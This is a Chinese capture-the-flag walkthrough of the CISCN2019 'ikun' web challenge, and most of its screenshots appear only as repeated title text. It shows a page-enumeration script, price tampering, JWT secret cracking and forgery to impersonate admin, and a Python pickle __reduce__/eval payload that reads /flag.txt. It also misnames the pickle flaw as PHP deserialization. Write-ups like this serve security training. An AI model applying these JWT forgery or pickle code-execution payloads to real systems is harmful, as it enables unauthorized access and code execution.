[CISCN2019 华北赛区 Day1 Web2]ikun

[CISCN2019 华北赛区 Day1 Web2]ikun

首先打开题目地址
[CISCN2019 华北赛区 Day1 Web2]ikun
左下角有个提示,说ikun们一定要买到lv6,还有爆破的字样
[CISCN2019 华北赛区 Day1 Web2]ikun
可以看到有很多购买链接,但是发现没翻了几页都没有发现lv6,直接用python写个脚本去寻找

import requests

for i in range(1,201):
    url='http://4dab904b-159f-45a0-bf6a-441fa36b2427.node4.buuoj.cn:81/shop?page='+str(i)
    result=requests.get(url).content.decode('utf-8')
    if 'lv6.png' in result:
        print(url+'ok')
    else:
        print(url+'no')

[CISCN2019 华北赛区 Day1 Web2]ikun
找到lv6进行购买
[CISCN2019 华北赛区 Day1 Web2]ikun
结算发现钱是不够的,说明这里很有可能存在逻辑漏洞
[CISCN2019 华北赛区 Day1 Web2]ikun
尝试修改优惠卷的的折数
[CISCN2019 华北赛区 Day1 Web2]ikun
再次购买发现就不是购买失败了,而是说该页面只允许admin用户访问
[CISCN2019 华北赛区 Day1 Web2]ikun
查看页面的cookie信息
[CISCN2019 华北赛区 Day1 Web2]ikun
发现这里涉及JWT,将JWT先进行解密
[CISCN2019 华北赛区 Day1 Web2]ikun
猜测这里只需要将username改为admin即可,但是还需要破解出他的密匙
这里需要用到一个工具
[CISCN2019 华北赛区 Day1 Web2]ikun
然后伪造生成的JWT生成JWT网站
![](https://www.icode9.com/i/ll/?i=89ddf5999aa74e41b94a637eaa63a629.png?x-oss-process=image)
然后抓包进行修改JWT
在这个页面进行抓包
[CISCN2019 华北赛区 Day1 Web2]ikun
修改JWT的值
[CISCN2019 华北赛区 Day1 Web2]ikun
[CISCN2019 华北赛区 Day1 Web2]ikun
然后发现点击一键成为大会员也没有发现什么,查看源代码看看有什么线索
[CISCN2019 华北赛区 Day1 Web2]ikun
发现有一个压缩包,将他下载下来
解压后得到如下文件
[CISCN2019 华北赛区 Day1 Web2]ikun
放到idea里进行分析
找到一处php反序列化的位置,在admin.py
[CISCN2019 华北赛区 Day1 Web2]ikun
然后写上序列化的payload,在kali上运行

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

[CISCN2019 华北赛区 Day1 Web2]ikun
最后将生成的payload传给become
检查源代码直接将hidden进行删除
[CISCN2019 华北赛区 Day1 Web2]ikun
然后填入生成payload获得flag
[CISCN2019 华北赛区 Day1 Web2]ikun

上一篇:CTFshow 反序列化 web258


下一篇:基于阿里云资源的分布式部署方案